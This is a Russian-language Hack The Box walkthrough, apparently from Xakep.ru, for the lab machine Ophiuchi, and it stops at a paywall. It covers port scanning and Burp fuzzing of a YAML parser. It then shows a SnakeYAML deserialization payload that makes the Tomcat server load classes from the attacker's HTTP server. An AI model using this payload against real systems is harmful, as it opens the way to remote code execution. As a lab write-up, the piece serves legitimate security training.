Содержание статьи
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем адрес машины в файл hosts
, чтобы обращаться к ней по имени.
10.10.10.227 ophiuchi.htb
И начинаем традиционно со сканирования портов. В этот раз я буду использовать быстрый сканер RustScan. Сначала он найдет все открытые порты, а потом передаст знаменитому Nmap для сканирования со скриптами (просто укажем опцию -A).
rustscan 10.10.10.227 -- -A
Мы нашли две службы: SSH (порт 22) и веб‑сервер Apache Tomcat (порт 8080). На SSH сейчас можно только брутфорсить учетные данные, но это не комильфо, тем более при прохождении лабораторных машин. Поэтому нам остается искать точку входа на сайте.
Точка входа
При переходе на сайт нас встретила форма парсера разметки YAML.
Типичная проблема любых парсеров — неправильная обработка служебных символов, которая может привести к уязвимостям. Чтобы проверить, нет ли здесь чего‑то подобного, отправим в форму ввода все печатаемые символы по очереди. Я буду делать это через Burp. Первым делом перехватим запрос в Burp и отправим его в Intruder. На вкладке Payload Position укажем тип атаки Sniper, изменим значение параметра data
, применив пустую нагрузку.
Далее на вкладке Payload Options загрузим список печатаемых символов, к примеру этот, из набора словарей SecLists. И выполним перебор, нажав кнопку Start Attack. После завершения атаки сортируем результаты по столбцу Length так, чтобы сначала шли самые большие ответы.
Если отправлять обычные символы, то ответ всегда будет одинаковый.
Due to security reason this feature has been temporarily on hold. We will soon fix the issue!
Но в ответ на некоторые запросы мы получаем ошибки. Для нас это хорошо, так как сообщения могут раскрывать дополнительную информацию о целевом приложении, к примеру используемые технологии. И действительно: в тексте ошибки видим упоминание SnakeYAML, и, что более интересно, ошибка происходит в методе load
.
info
SnakeYAML — процессор разметки YAML для программ на Java.
То есть в данном случае пользовательский ввод передается в метод Yaml.
, который конвертирует документ YAML в объект Java, что потенциально может привести к уязвимости десериализации, а это, в свою очередь, открывает путь к удаленному выполнению кода (RCE).
Дальше я без труда нашел готовую нагрузку, которая эксплуатирует уязвимость в десериализации SnakeYAML (PDF). Смысл уязвимости в том, что мы можем спровоцировать загрузку класса со своего хоста.
Давай отправим тестовую нагрузку и посмотрим на результат. Чтобы поймать отклик, запустим простой локальный веб‑сервер Python 3.
python3 -m http.server 8000
А теперь отправляем следующую нагрузку. После отправки в логах веб‑сервера увидим попытку загрузить файлы.
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://10.10.14.88:8000/"] ]]]
В окне браузера наблюдаем уже знакомое нам сообщение, а вот в логах веб‑сервера видим две записи, одна из которых — запрос HEAD
. То есть наше предположение оказалось верным, мы можем добиться загрузки кода с нашего сервера.
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»